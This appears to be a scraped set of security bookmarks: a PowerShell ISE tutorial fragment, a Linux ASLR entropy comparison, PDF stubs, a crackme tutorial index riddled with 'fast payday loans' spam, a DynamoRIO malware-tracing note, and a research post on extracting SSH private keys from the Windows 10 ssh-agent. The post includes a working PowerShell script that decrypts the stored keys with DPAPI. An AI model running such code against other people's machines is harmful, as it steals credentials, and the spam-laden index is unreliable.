\{  
$psise.CurrentFile.Editor.Select\($global:\_\_ISEGoToAddOnlineToGoTo,  
\($global:\_\_ISEGoToAddOncolToGoTo+9\),  
$global:\_\_ISEGoToAddOnlineToGoTo,  
\($global:\_\_ISEGoToAddOncolToGoTo+8+$selectedFunction.length+1\)\)  
\}  
catch \[System.Exception\]  
\{  
\}  
\}  
\}  
  
  
In addition to the “Go-To definition”, the above scriptblock will also show
the definition of the selected text if it exists in the current PowerShell
session. \(The above scriptblock is just a simple example and assumes that the
keyword ‘function’ and its name appear in the same line in the script. This is
not required by PowerShell, so if your scripting style is different, you might
need to tweak the logic a little.\)  
The next step is to add this scriptblock as the result of clicking a button on
the Add-On Menu. The following two lines do just that:  
  
$global:\_\_ISEGoToAddOnsb1 =  
\{& $global:\_\_ISEGoToAddOnscriptBlockGoTo | Out-Null\}   
$null=$psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add\(  
"Go do definition", $global:\_\_ISEGoToAddOnsb1, "F12"\)  
  
  
Now, let us see how we can implement the “Go-Back” functionality in just a few
lines of code leveraging our global stack:  
  
$global:\_\_ISEGoToAddOnscriptBlockGoBack =  
\{  
try  
\{  
\#Pop the line and column numbers from the stack to do a reverse traversal  
$global:\_\_ISEGoToAddOncurrLine =  
$global:\_\_ISEGoToAddOnstackOfLine.Pop\(\)  
$global:\_\_ISEGoToAddOncurrcol =  
$global:\_\_ISEGoToAddOnstackOfCol.Pop\(\)  
$psISE.CurrentFile.Editor.SetCaretPosition\(  
$global:\_\_ISEGoToAddOncurrLine, $global:\_\_ISEGoToAddOncurrcol\)  
$psISE.CurrentFile.Editor.SelectCaretLine\(\);  
  
\}  
catch \[System.Exception\]  
\{  
\}  
\}  
  
$global:\_\_ISEGoToAddOnsb2 = \{& $global:\_\_ISEGoToAddOnscriptBlockGoBack | Out-Null\}   
$null=$psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add\("Go Back",
$global:\_\_ISEGoToAddOnsb2, "Shift+F12"\)  
  
  
  
That’s it\! With just a few lines of PowerShell code, we have implemented
Visual Studio like functionalities, “Go-To definition” and “Go-Back”.  
You can extend this script further to include things like viewing all the
functions in the script and then navigating to the one you want by clicking on
a GUI button.  
As an encouragement to add further capabilities, let me give you a peek at
what my ISE currently looks like:  
  
<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-63-74-metablogapi/3187.image_5F00_thumb_5F00_42559B08.png'
width='244' height='120' alt='image' />  
  
Thanks,  
Abhik Chatterjee  
Windows PowerShell Developer  
Microsoft Corporation  

# Comparing ASLR between mainline Linux, grsecurity and linux-hardened

**Created:**| _5/31/2017 6:08:02 PM_  
---|---  
**Updated:**| _5/31/2017 6:08:02 PM_  
**Author:**| __  
**Tags:**| _aslr Linux_  
  

  

Comparing ASLR between mainline Linux, grsecurity and linux-hardened

Raw

**Linux ASLR comparison.md** Permalink

These results are with glibc malloc on x86\_64. The last public PaX and
grsecurity patches don't support arm64 which is one of the two architectures
\(x86\_64 kernels including x32/x86\_32 and arm64 kernels including armv7
userspace\) focused on by linux-hardened. There isn't anything other than
x86\_64 to compare across all 3 kernels although linux-hardened has the same
end result for both x86\_64 and arm64 \(with slightly different starting
points\) and there are few mainline differences. The linux-hardened
implementation of ASLR is a very minimal modification of the mainline
implementation to fix the weaknesses compared to grsecurity. The intention is
to upstream all of these changes, although care needs to be taken to properly
justify them to avoid getting anything rejected unnecessarily.

Explanation of differences between kernels:

  * Mainline and linux-hardened base randomization entropy for the mmap base and executable to the vm.mmap\_rnd\_bits sysctl for 64-bit and vm.mmap\_rnd\_compat\_bits for 32-bit while it's hard-wired in grsecurity. Mainline uses the minimum supported value by default while linux-hardened uses the maximum. The maximum values for the sysctl on x86 match the entropy values used by grsecurity \(16 bits on 32-bit, 32 bits on 64-bit\).
  * The optional grsecurity / PaX UDEREF feature \(software equivalent to SMAP for pre-Broadwell - also known as PAN in the ARM world\) reduces the size of the userspace address space on x86\_64 by 5 bits from 47 bits to 42 bits \(it doesn't have this drawback in the 32-bit x86 and 32-bit arm implementations\) which results in weaker ASLR. The relevant results for fair comparisons are with UDEREF disabled since it would have the same impact with other ASLR implementations.
  * grsecurity offsets the mmap base dynamically from the chosen random base for the stack rather than statically reserving space for the maximum amount. That results in one extra bit of measured entropy for the mmap base and one less bit of entropy for the gap between the stack and the mmap base, with increased code complexity.
  * Mainline has a subtly incorrect calculation for choosing the mmap base based on the maximum random stack offset, which is fixed in linux-hardened. That incorrect calculation is a blocker for improving stack mapping randomization there.
  * Mainline hard-wires the stack mapping entropy to 22 bits on x86\_64 \(11 bits for 32-bit\) while linux-hardened also uses the vm.mmap\_rand\_bits / vm.mmap\_rnd\_compat\_bits sysctl as appropriate for the stack mapping, matching the entropy provided by grsecurity by default.
  * The argument block and stack are both within the stack mapping. Mainline kernels don't randomize the lower bits of the argument block, only the stack, so that shows the entropy of the stack mapping itself. The reason for the 4 extra bits for grsecurity and linux-hardened for the argument block is the lower alignment requirement \(1\) compared to the stack \(16\). The one difference between PaX and grsecurity is that PaX uses 16 byte alignment for the argument block rather than 1. The lower bits for the argument block and stack are randomized entirely separately, so there's also randomization between them even with mainline since it randomizes one but not the other.
  * Mainline kernels use a strange randomization mechanism for the vdso placing it at a very low entropy offset from the stack randomization base. grsecurity and linux-hardened place it in the mmap region so it ends up with the dynamic linker and other shared objects. The vdso is essentially a shared object comparable to a subset of libc, so it makes sense for that to be where it's mapped rather than it being poorly randomized near the stack region which should have no executable code. Using the mmap region is actually more compact, which is the apparent justification for the mainline kernel decision. The vdso issue is specific to x86. On arm64, mainline already does the right thing.
  * The brk heap mapping is offset from the executable, so the mapping randomization only shows up in the tests for non-PIE but is still present for PIE. Mainline uses 13 bit mapping randomization while grsecurity uses 14 bit along with randomizing the lower bits. The lower bits are also randomized in linux-hardened via a cleaner mechanism not forcing the mapping to be present when unused, and it increases the mapping randomization on x86\_64 to match arm64 by using 1G on 64-bit rather than 32M on both 32-bit and 64-bit.
  * grsecurity reduces address space fragmentation via a lower base for the executable. A similar approach is used in linux-hardened but it doesn't currently differentiate between PIE and other ET\_DYN and it uses a higher 4G as the base on 64-bit \(note the address space is 128TiB on x86\_64 so it doesn't matter\) to avoid interfering with users of the low 4G like the Android Runtime. The brk heap grows up from the executable so this provides much more room to grow, although every sane allocator knows how to fall back to mmap if growth fails and modern allocators tend to completely avoid the legacy brk API.
  * grsecurity uses a weaker pax\_get\_random\_long\(...\) random number generator based on prandom, dating back to before get\_random\_long\(...\) existed. It likely doesn't make much difference in practice, but it's significantly worse as a CSPRNG particularly since the move to SipHash-based ` get_random_int ` / ` get_random_long ` \(as an optimization on top of the underlying ChaCha20-based CSPRNG\) in very recent kernels.

Related changes, which are all in-scope for linux-hardened:

  * grsecurity also ignores mmap hints unless MAP\_FIXED is passed with the intention of stopping code from shooting itself in the foot with fixed addresses. However, many uses of mmap hints are relative and don't bypass ASLR and ignoring the hints breaks codes in practice. This is the reason that PaX RANDMMAP exceptions are needed, which opts out of the entire PaX ASLR implementation even though there's never really a compatibility issue caused by anything but mmap hints being ignored. This feature might be implemented in linux-hardened, but it won't be tied to the rest of the ASLR improvements.
  * grsecurity has a related userspace exploit brute force protection feature to go along with the kernel equivalent \(which is basically a friendlier panic\_on\_oops=1\) which can make ASLR significantly harder to brute force
  * grsecurity has some features \(under GRKERNSEC\_PROC\_MEMMAP\) closing local address leaks and fixing setuid binary ASLR bypasses which help to make ASLR less bad as a local mitigation when combined with the brute force protection

The heap randomisation results can vary significantly based on the malloc
implementation. Some examples:

  * Other dlmalloc-style allocators based on brk with mmap only as a fallback and for very large allocations are comparable to glibc \(like musl\).
  * For jemalloc \(modern Android\), mmap is used by default rather than brk. It uses 2M aligned regions as the low-level building block so it loses 9 bits of entropy with 4096 byte pages. For example, with 32-bit entropy for anonymous mappings, heap randomization entropy with jemalloc will be 23 bits. It will usually impact other mmap allocations too, although the impact is subtle since the kernel knows how to fill the randomly sized gaps between the 2M aligned jemalloc regions and whatever was above them. If the immediately following allocation can't fit there, it ends up aligned to 2M.
  * For OpenBSD malloc \(CopperheadOS\), mmap is used exclusively. However, it adds entropy rather than reducing it via a few forms of fine-grained randomization inside the allocator. It has a similar region based design as jemalloc with regions as a single page dedicated to a size class with out-of-line metadata instead of much more complex 2M aligned regions with metadata within them. The free slot randomization within slabs is picked up by paxtest as lower bit randomization within the alignment constraints of slab allocation. The ` malloc(100) ` call used by ` paxtest ` is rounded to 128 bytes. Slab allocations are naturally aligned so that means 128 byte alignment which is 5 extra bits of randomization compared to the anonymous mapping base so 37 bits with 32 bit anonymous mapping entropy. It's not a meaningful interpretation of the fine-grained randomization feature since it really isn't changing base randomization but rather adds different forms of randomization with related benefits. The free slot randomization is also likely the least useful of the 4 randomization features but it makes sense to do it since the bitmap-based slot metadata makes it easy / cheap while doing a better job than CONFIG\_SLAB\_FREELIST\_RANDOM in the kernel's own slab allocators \(SLAB and SLUB are actually far more similar to OpenBSD malloc than other userspace allocators, with the linear mapping ` struct page ` translation vs. OpenBSD malloc page span hash table, and freelists within a single page rather than an out-of-line bitmap per page\).

Raw

**linux-grsec UDEREF disabled** Permalink

1 | Anonymous mapping randomisation test : 33 quality bits \(guessed\)  
---|---  
2 | Heap randomisation test \(ET\_EXEC\) : 22 quality bits \(guessed\)  
3 | Heap randomisation test \(PIE\) : 40 quality bits \(guessed\)  
4 | Main executable randomisation \(ET\_EXEC\) : No randomization  
5 | Main executable randomisation \(PIE\) : 32 quality bits \(guessed\)  
6 | Shared library randomisation test : 33 quality bits \(guessed\)  
7 | VDSO randomisation test : 33 quality bits \(guessed\)  
8 | Stack randomisation test \(SEGMEXEC\) : 40 quality bits \(guessed\)  
9 | Stack randomisation test \(PAGEEXEC\) : 40 quality bits \(guessed\)  
10 | Arg/env randomisation test \(SEGMEXEC\) : 44 quality bits \(guessed\)  
11 | Arg/env randomisation test \(PAGEEXEC\) : 44 quality bits \(guessed\)  
12 | Offset to library randomisation \(ET\_EXEC\): 33 quality bits \(guessed\)  
13 | Offset to library randomisation \(ET\_DYN\) : 33 quality bits \(guessed\)  
14 | Randomization under memory exhaustion @~0: 33 bits \(guessed\)  
15 | Randomization under memory exhaustion @0 : 33 bits \(guessed\)  
Raw

**linux-grsec UDEREF enabled** Permalink

1 | Anonymous mapping randomization test : 28 quality bits \(guessed\)  
---|---  
2 | Heap randomization test \(ET\_EXEC\) : 22 quality bits \(guessed\)  
3 | Heap randomization test \(PIE\) : 35 quality bits \(guessed\)  
4 | Main executable randomization \(ET\_EXEC\) : No randomization  
5 | Main executable randomization \(PIE\) : 27 quality bits \(guessed\)  
6 | Shared library randomization test : 28 quality bits \(guessed\)  
7 | VDSO randomization test : 28 quality bits \(guessed\)  
8 | Stack randomization test \(SEGMEXEC\) : 35 quality bits \(guessed\)  
9 | Stack randomization test \(PAGEEXEC\) : 35 quality bits \(guessed\)  
10 | Arg/env randomization test \(SEGMEXEC\) : 39 quality bits \(guessed\)  
11 | Arg/env randomization test \(PAGEEXEC\) : 39 quality bits \(guessed\)  
12 | Offset to library randomisation \(ET\_EXEC\): 28 quality bits \(guessed\)  
13 | Offset to library randomisation \(ET\_DYN\) : 28 quality bits \(guessed\)  
14 | Randomization under memory exhaustion @~0: 28 bits \(guessed\)  
15 | Randomization under memory exhaustion @0 : 28 bits \(guessed\)  
Raw

**linux-hardened** Permalink

1 | Anonymous mapping randomization test : 32 quality bits \(guessed\)  
---|---  
2 | Heap randomization test \(ET\_EXEC\) : 26 quality bits \(guessed\)  
3 | Heap randomization test \(PIE\) : 40 quality bits \(guessed\)  
4 | Main executable randomization \(ET\_EXEC\) : No randomization  
5 | Main executable randomization \(PIE\) : 32 quality bits \(guessed\)  
6 | Shared library randomization test : 32 quality bits \(guessed\)  
7 | VDSO randomization test : 32 quality bits \(guessed\)  
8 | Stack randomization test \(SEGMEXEC\) : 40 quality bits \(guessed\)  
9 | Stack randomization test \(PAGEEXEC\) : 40 quality bits \(guessed\)  
10 | Arg/env randomization test \(SEGMEXEC\) : 44 quality bits \(guessed\)  
11 | Arg/env randomization test \(PAGEEXEC\) : 44 quality bits \(guessed\)  
12 | Offset to library randomisation \(ET\_EXEC\): 32 quality bits \(guessed\)  
13 | Offset to library randomisation \(ET\_DYN\) : 34 quality bits \(guessed\)  
14 | Randomization under memory exhaustion @~0: 32 bits \(guessed\)  
15 | Randomization under memory exhaustion @0 : 32 bits \(guessed\)  
Raw

**linux-vanilla** Permalink

1 | Anonymous mapping randomization test : 28 quality bits \(guessed\)  
---|---  
2 | Heap randomization test \(ET\_EXEC\) : 13 quality bits \(guessed\)  
3 | Heap randomization test \(PIE\) : 28 quality bits \(guessed\)  
4 | Main executable randomization \(ET\_EXEC\) : No randomization  
5 | Main executable randomization \(PIE\) : 28 quality bits \(guessed\)  
6 | Shared library randomization test : 28 quality bits \(guessed\)  
7 | VDSO randomization test : 20 quality bits \(guessed\)  
8 | Stack randomization test \(SEGMEXEC\) : 30 quality bits \(guessed\)  
9 | Stack randomization test \(PAGEEXEC\) : 30 quality bits \(guessed\)  
10 | Arg/env randomization test \(SEGMEXEC\) : 22 quality bits \(guessed\)  
11 | Arg/env randomization test \(PAGEEXEC\) : 22 quality bits \(guessed\)  
12 | Offset to library randomisation \(ET\_EXEC\): 28 quality bits \(guessed\)  
13 | Offset to library randomisation \(ET\_DYN\) : 28 quality bits \(guessed\)  
14 | Randomization under memory exhaustion @~0: 28 bits \(guessed\)  
15 | Randomization under memory exhaustion @0 : 28 bits \(guessed\)  
Raw

**linux-vanilla-tuned** Permalink

1 | Anonymous mapping randomization test : 32 quality bits \(guessed\)  
---|---  
2 | Heap randomization test \(ET\_EXEC\) : 13 quality bits \(guessed\)  
3 | Heap randomization test \(PIE\) : 32 quality bits \(guessed\)  
4 | Main executable randomization \(ET\_EXEC\) : No randomization  
5 | Main executable randomization \(PIE\) : 32 quality bits \(guessed\)  
6 | Shared library randomization test : 32 quality bits \(guessed\)  
7 | VDSO randomization test : 20 quality bits \(guessed\)  
8 | Stack randomization test \(SEGMEXEC\) : 30 quality bits \(guessed\)  
9 | Stack randomization test \(PAGEEXEC\) : 30 quality bits \(guessed\)  
10 | Arg/env randomization test \(SEGMEXEC\) : 22 quality bits \(guessed\)  
11 | Arg/env randomization test \(PAGEEXEC\) : 22 quality bits \(guessed\)  
12 | Offset to library randomisation \(ET\_EXEC\): 32 quality bits \(guessed\)  
13 | Offset to library randomisation \(ET\_DYN\) : 32 quality bits \(guessed\)  
14 | Randomization under memory exhaustion @~0: 32 bits \(guessed\)  
15 | Randomization under memory exhaustion @0 : 32 bits \(guessed\)  
<img src='img/2155_11855163.png' width='44' height='44' alt='@norandom' />

Attach files by dragging & dropping, selecting them, or pasting from the
clipboard.

Styling with Markdown is supported

  

# Quick introduction into SAT/SMT solvers and symbolic execution

**Created:**| _5/11/2017 5:59:13 PM_  
---|---  
**Updated:**| _5/18/2017 10:01:56 AM_  
**Author:**| __  
**Tags:**| _Tutorials SMT_  
  

  
<img src='img/SAT_SMT_draft-EN.pdf' />  

# Tutorials « The Legend Of Random \(with stupid inline messages\)

**Created:**| _10/29/2013 3:39:53 PM_  
---|---  
**Updated:**| _10/29/2013 3:59:37 PM_  
**Author:**| __  
**Tags:**| _bookmark crackme reversing tutorial_  
  

# The Legend Of Random

fast payday loans

### Programming and Reverse Engineering

  *   
Tutorials  

fast payday loans

## R4ndom’s Beginning Reverse Engineering Tutorials  

Tutorial \#1 fast payday loans | What is reverse engineering? | Download fast payday loans  
---|---|---  
Tutorial \#2 fast payday loans | Introducing OllyDBG | Download fast payday loans  
Tutorial \#3 fast payday loans | Using OllyDBG, Part 1 | Download fast payday loans  
Tutorial \#4 fast payday loans | Using OllyDBG, Part 2 | Download fast payday loans  
Tutorial \#5 fast payday loans | Our First \(Sort Of\) Crack | Download fast payday loans  
Tutorial \#6 fast payday loans | Our First \(True\) Crack | Download fast payday loans  
Tutorial \#7 fast payday loans | More Crackmes | Download fast payday loans  
Tutorial \#8 fast payday loans | Frame Of Reference  
| Download fast payday loans  
Tutorial \#9 fast payday loans | No Strings Attached  
| Download fast payday loans  
Tutorial \#9 Solution fast payday loans | Solution to “No Strings Attached”  
|  
Tutorial \#10 fast payday loans | The Levels of Patching  
| Download fast payday loans  
Tutorial \#11 fast payday loans | Breaking In Our Noob Skills  
| Download fast payday loans  
Tutorial \#12 fast payday loans | A Tougher NOOBy Example  
| Download fast payday loans  
Tutorial \#13 fast payday loans | Cracking a Real Program  
| Download fast payday loans  
Tutorial \#14 fast payday loans | How to remove nag screens  
| Download fast payday loans  
Tutorial \#15 fast payday loans | Using the Call Stack.  
| Download fast payday loans  
Tutorial \#16A fast payday loans | Dealing with Windows Messages.  
| Download fast payday loans  
Tutorial \#16B fast payday loans | Self Modifying Code.  
| Download fast payday loans  
Tutorial \#16C fast payday loans | Bruteforcing.  
| Download fast payday loans  
Tutorial \#17 fast payday loans | Working with Delphi Binaries.  
| Download fast payday loans  
Tutorial \#18 fast payday loans | Time Trials and Hardware Breakpoints.  
| Download fast payday loans  
Tutorial \#19 fast payday loans | Creating patchers.  
| Download fast payday loans  
Tutorial \#20A fast payday loans | Dealing with Visual Basic Binaries, Part 1.  
| Download fast payday loans  
Tutorial \#20B fast payday loans | Dealing with Visual Basic Binaries, Part 2.  
| Download fast payday loans  
Tutorial \#21 fast payday loans | Anti-Debugging Techniques.  
| Download fast payday loans  
Tutorial \#22 fast payday loans | Code Caves and PE Sections.  
| Download fast payday loans  
Tutorial \#23 fast payday loans | TLS Callbacks.  
| Download fast payday loans  
  

##

## Modifying Binaries For Fun And Profit  

Adding a Splash Screen fast payday loans | Creating a code cave to show a custom splash on an application | Download fast payday loans  
---|---|---  
Adding a Menu Item fast payday loans | Adding a menu item to an existing binary. | Download fast payday loans  
Making a Window Non-Closeable fast payday loans | Making a Window Non-Closeable. | Download fast payday loans  
The Never Ending Program fast payday loans | Opening message boxes every time a user tries to close a program. | Download fast payday loans  
DLL Injection 1 fast payday loans | Adding an opening message box through DLL injection. | Download fast payday loans  
DLL Injection 2 fast payday loans | Adding a splash bitmap through DLL injection. | Download fast payday loans  
  

##

## R4ndom’s Guide to RadASM  

Installing and setting up fast payday loans | Installing RadASM and configuring the environment. | Download fast payday loans  
---|---|---  
Creating our first project fast payday loans | Creating our first project. | Download fast payday loans  
Adding an Icon and Menu fast payday loans | Adding an Icon and Menu. | Download fast payday loans  
## Miscellaneous  

The Reverse Engineer’s Toolkit fast payday loans | Tools every reverse engineer should know about. | Download fast payday loans  
---|---|---  
Guide to OllyDBG Plugins fast payday loans | A quick guide to important plugins for OllyDBG. | Download fast payday loans  
Shrinking C++ Binaries fast payday loans | Shrinking binaries through Visual Studio. | Download fast payday loans  
## Other Tutorials  

Author | Tutorial |   
---|---|---  
XOR06 | Cracking DriverFinder | Download fast payday loans  
nwokiller | Unpacking PELock v1.06 | Download fast payday loans  
XOR06 | Bypassing a keyfile | Download fast payday loans  
XOR06 | Bypassing a Serial and server Check | Download fast payday loans  
XOR06 | Bypassing a Serial in a Delphi Binary | Download fast payday loans  
XOR06 | Finding a serial using bitmaps. | Download fast payday loans  
XOR06 | Easy unpacking. | Download fast payday loans  
XOR06 | Where and How to pacth a serial routine. | Download fast payday loans  
XOR06 | Patching a server check, 30 day time trial, and a nag. | Download fast payday loans  
XOR06 | Serialfishing a correct serial. | Download fast payday loans  
XOR06 | Another way of finding the patch. | Download fast payday loans  
XOR06 | Why it’s so important to search for pointers. | Download fast payday loans  
XOR06 | .NET Crackme with tutorial | Download fast payday loans  
XOR06 | .NET Crackme \(no tutorial\) | Download fast payday loans  
  

Copyright © 1996-2010 The Legend Of Random. All rights reserved.

  

# Automatic Type Reconstruction in Disassembled C Programs

**Created:**| _3/19/2010 3:44:18 AM_  
---|---  
**Updated:**| _3/19/2010 3:44:59 AM_  
**Author:**| __  
**Tags:**| _C++ asm reversing C_  
  
<img src='img/Temp2_945' />

# cyberisltd/GzipBloat

**Created:**| _8/21/2013 9:21:38 AM_  
---|---  
**Updated:**| _8/21/2013 9:24:06 AM_  
**Author:**| __  
**Tags:**| _bookmark LOLZ_  
  

# **c** yberisltd/GzipBloat****

## You don't have any verified emails**.** We recommend verifying at least one
email**.**

Email verification helps our support team help you in case you have any email
issues or lose your password**. YA RLY\!**

****

# Application Container Security Guide PDF - nvlpubs.nist.gov

**Created:**| _11/23/2017 9:32:48 AM_  
---|---  
**Updated:**| _11/23/2017 9:36:01 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  
<img src='img/NIST.SP.800-190.pdf' />  

# win\_intrusion.pdf \(application/pdf Object\)

**Created:**| _5/9/2009 10:43:42 AM_  
---|---  
**Updated:**| _5/9/2009 10:44:01 AM_  
**Author:**| __  
**Tags:**| _windows security_  
  

# CanSecWest2015\_Final - CanSecWest2015\_Final.pdf

**Created:**| _3/26/2015 5:22:41 PM_  
---|---  
**Updated:**| _3/26/2015 5:22:41 PM_  
**Author:**| __  
**Tags:**| _iOS_  
  
<img src='img/CanSecWest2015_Final.pdf' />

# inREVERSE

**Created:**| _3/24/2011 8:45:56 PM_  
---|---  
**Updated:**| _3/24/2011 8:46:19 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation iDA DynamoRIO awesome_  
  

# DynTrace: Playing with DBI and Malware

It happens sometimes that I have to analyze a piece of malware which is really
annoying: fake calls, fake APIs and lots of opaque constructs and following
the code on IDA it’s a pain, so I wanted a quick way to extract some info to
ease my job.

My solution was to do some tracing using DynamoRIO and then import the
collected data into IDA, it’s kinda an overshoot using it to extract few info
like I’m doing, but I also wanted to play with it ;\)

I was interested in few info:

  * a list of basic blocks that were executed
  * called APIs
  * dump of  _new_ code

here is trace sample:

[code]

    THREAD: D1C
    EntryPoint: 00401100
    BB@00401100
    AB@7C90E195 NtQuerySystemEnvironmentValueEx(106)!ntdll.dll
    BB@00401133
    BB@0040113A
    BB@00401161
    AB@7C90E156 NtQuerySemaphore(103)!ntdll.dll
    BB@00401176
    ...
    BB@00401357
    EB@00971530 - DUMPED (00971000 > 00AA0000)
    EB@00971290
    EB@00971552
    
[/code]

As you have probably guessed each thread has its trace and each basic block is
marked differently depending on where it’s located:

  * **BB \(Basic Block\)** : program code
  * **AB \(API Block\)** : DLLs, specifically APIs code
  * **EB \(External Block\)** : code not in the program image nor in the DLLs – usually allocated memory

Also when an EB is encountered the corresponding memory region is dumped to
disk for later analysis.  
All this information is made available into IDA thanks to a little script that
will color the first instruction of each executed basic block \(note that
DynamoRIO basic blocks could differ from those of IDA \) and load the dumped
memory ranges.

That’s what it looks like once you run the script in IDA:

<img src='img/Temp2_10397.png' width='180' height='383' />

here all the code you need to start playing.

posted in DBI, IDA Pro, malware by swirl

# Extracting SSH Private Keys from Windows 10 ssh-agent

**Created:**| _9/23/2018 8:53:05 AM_  
---|---  
**Updated:**| _9/23/2018 8:53:05 AM_  
**Author:**| _wishi_  
**Tags:**| _windows ssh_  
  

  

# Extracting SSH Private Keys from Windows 10 ssh-agent

### Table of Contents

* Intro
  * tl;dr

* Using OpenSSH in Windows 10
* Monitoring SSH Agent
* Testing Registry Values
* Unprotecting the Key
* Figuring out Binary Format
* Putting it all together
  * Next Steps

# Intro

This weekend I installed the Windows 10 Spring Update, and was pretty excited
to start playing with the new, builtin OpenSSH tools.

Using OpenSSH natively in Windows is awesome since Windows admins no longer
need to use Putty and PPK formatted keys. I started poking around and reading
up more on what features were supported, and was pleasantly surprised to see
`ssh-agent.exe` is included.

I found some references to using the new Windows ssh-agent in this MSDN
article, and this part immediately grabbed my attention:

<img src='img/ssh-agent-msdn.png' width='576' height='132' alt='Securely store
private keys' />

I've had some good fun in the past with hijacking SSH-agents, so I decided to
start looking to see how Windows is "securely" storing your private keys with
this new service.

I'll outline in this post my methodology and steps to figuring it out. This
was a fun investigative journey and I got better at working with PowerShell.

## tl;dr

Private keys are protected with DPAPI and stored in the HKCU registry hive. I
released some PoC code here to extract and reconstruct the RSA private key
from the registry

# Using OpenSSH in Windows 10

The first thing I tested was using the OpenSSH utilities normally to generate
a few key-pairs and adding them to the ssh-agent.

First, I generated some password protected test key-pairs using `ssh-
keygen.exe`:

<img src='img/powershell_genkey.png' width='576' height='266' alt='Powershell
ssh-keygen' />

Then I made sure the new `ssh-agent` service was running, and added the
private key pairs to the running agent using `ssh-add`:

<img src='img/ssh-add_powershell.png' width='576' height='177' alt='Powershell
ssh-add' />

Running `ssh-add.exe -L` shows the keys currently managed by the SSH agent.

Finally, after adding the public keys to an Ubuntu box, I verified that I
could SSH in from Windows 10 without needing the decrypt my private keys
\(since `ssh-agent` is taking care of that for me\):

<img src='img/ssh-ubuntu.png' width='576' height='212' alt='Powershell SSH to
Ubuntu' />

# Monitoring SSH Agent

To figure out how the SSH Agent was storing and reading my private keys, I
poked around a little and started by statically examining `ssh-agent.exe`. My
static analysis skills proved very weak, however, so I gave up and just
decided to dynamically trace the process and see what it was doing.

I used `procmon.exe` from Sysinternals and added a filter for any process name
containing "ssh".

With `procmon` capturing events, I then SSH'd into my Ubuntu machine again.
Looking through all the events, I saw `ssh.exe` open a TCP connection to
Ubuntu, and then finally saw `ssh-agent.exe` kick into action and read some
values from the Registry:

<img src='img/ssh-agent_procmon-1.png' width='576' height='87' alt='SSH
Procmon' />

Two things jumped out at me:

  * The process `ssh-agent.exe` reads values from HKCU\Software\OpenSSH\Agent\Keys
  * After reading those values, it immediately opens `dpapi.dll`

Just from this, I now knew that some sort of protected data was being stored
in and read from the Registry, and `ssh-agent` was using Microsoft's Data
Protection API

# Testing Registry Values

Sure enough, looking in the Registry, I could see two entries for the keys I
added using `ssh-add`. The key names were the fingerprint of the public key,
and a few binary blobs were present:

<img src='img/regedit_openssh_agent.png' width='455' height='94' alt='Registry
SSH Entries' />

<img src='img/regedit_key_binary.png' width='576' height='74' alt='Registry
SSH Values' />

After reading StackOverflow for an hour to remind myself of PowerShell's ugly
syntax \(as is tradition\), I was able to pull the registry values and
manipulate them. The "comment" field was just ASCII encoded text and was the
name of the key I added:

<img src='img/key_comment.png' width='1590' height='95' alt='Powershell Reg
Comment' />

The `(default)` value was just a byte array that didn't decode to anything
meaningful. I had a hunch this was the "encrypted" private key if I could just
pull it and figure out how to decrypt it. I pulled the bytes to a Powershell
variable:

<img src='img/keybytes_powershell.png' width='576' height='92' alt='Powershell
keybytes' />

# Unprotecting the Key

I wasn't very familiar with DPAPI, although I knew a lot of post exploitation
tools abused it to pull out secrets and credentials, so I knew other people
had probably implemented a wrapper. A little Googling found me a simple
oneliner by atifaziz that was way simpler than I imagined \(okay, I guess I
see why people like Powershell.... ;\) \)

| Add-Type -AssemblyName System.Security;  
---|---  
|
\[Text.Encoding\]::ASCII.GetString\(\[Security.Cryptography.ProtectedData\]::Unprotect\(\[Convert\]::FromBase64String\(\(type
-raw \(Join-Path $env:USERPROFILE foobar\)\)\), $null, 'CurrentUser'\)\)  
I still had no idea whether this would work or not, but I tried to unprotect
the byte array using DPAPI. I was hoping maybe a perfectly formed OpenSSH
private key would just come back, so I base64 encoded the result:

[code]

    Add-Type -AssemblyName System.Security  
    $unprotectedbytes = [Security.Cryptography.ProtectedData]::Unprotect($keybytes, $null, 'CurrentUser')
    
    [System.Convert]::ToBase64String($unprotectedbytes)
    
[/code]

The Base64 returned didn't look like a private key, but I decoded it anyway
just for fun and was very pleasantly surprised to see the string "ssh-rsa" in
there\! I had to be on the right track.

<img src='img/base64_decode_openssh-1.png' width='576' height='458' alt='Base
64 decoded' />

# Figuring out Binary Format

This part actually took me the longest. I knew I had some sort of binary
representation of a key, but I could not figure out the format or how to use
it.

I messed around generating various RSA keys with `openssl`, `puttygen` and
`ssh-keygen`, but never got anything close to resembling the binary I had.

Finally after much Googling, I found an awesome blogpost from NetSPI about
pulling out OpenSSH private keys from memory dumps of `ssh-agent` on Linux:
https://blog.netspi.com/stealing-unencrypted-ssh-agent-keys-from-memory/

Could it be that the binary format is the same? I pulled down the Python
script linked from the blog and fed it the unprotected base64 blob I got from
the Windows registry:

<img src='img/parse_mem_python.png' width='576' height='452'
alt='parse_mem.py' />

It worked\! I have no idea how the original author soleblaze figured out the
correct format of the binary data, but I am so thankful he did and shared. All
credit due to him for the awesome Python tool and blogpost.

# Putting it all together

After I had proved to myself it was possible to extract a private key from the
registry, I put it all together in two scripts.

GitHub Repo

The first is a Powershell script \(`extract_ssh_keys.ps1`\) which queries the
Registry for any saved keys in `ssh-agent`. It then uses DPAPI with the
current user context to unprotect the binary and save it in Base64. Since I
didn't even know how to start parsing Binary data in Powershell, I just saved
all the keys to a JSON file that I could then import in Python. The Powershell
script is only a few lines:

[code]

    $path = "HKCU:\Software\OpenSSH\Agent\Keys\"
    
    $regkeys = Get-ChildItem $path | Get-ItemProperty
    
    if ($regkeys.Length -eq 0) {  
        Write-Host "No keys in registry"
        exit
    }
    
    $keys = @()
    
    Add-Type -AssemblyName System.Security;
    
    $regkeys | ForEach-Object {
        $key = @{}
        $comment = [System.Text.Encoding]::ASCII.GetString($_.comment)
        Write-Host "Pulling key: " $comment
        $encdata = $_.'(default)'
        $decdata = [Security.Cryptography.ProtectedData]::Unprotect($encdata, $null, 'CurrentUser')
        $b64key = [System.Convert]::ToBase64String($decdata)
        $key[$comment] = $b64key
        $keys += $key
    }
    
    ConvertTo-Json -InputObject $keys | Out-File -FilePath './extracted_keyblobs.json' -Encoding ascii  
    Write-Host "extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json"  
    
[/code]

I heavily borrowed the code from `parse_mem_python.py` by soleblaze and
updated it to use Python3 for the next script: `extractPrivateKeys.py`.
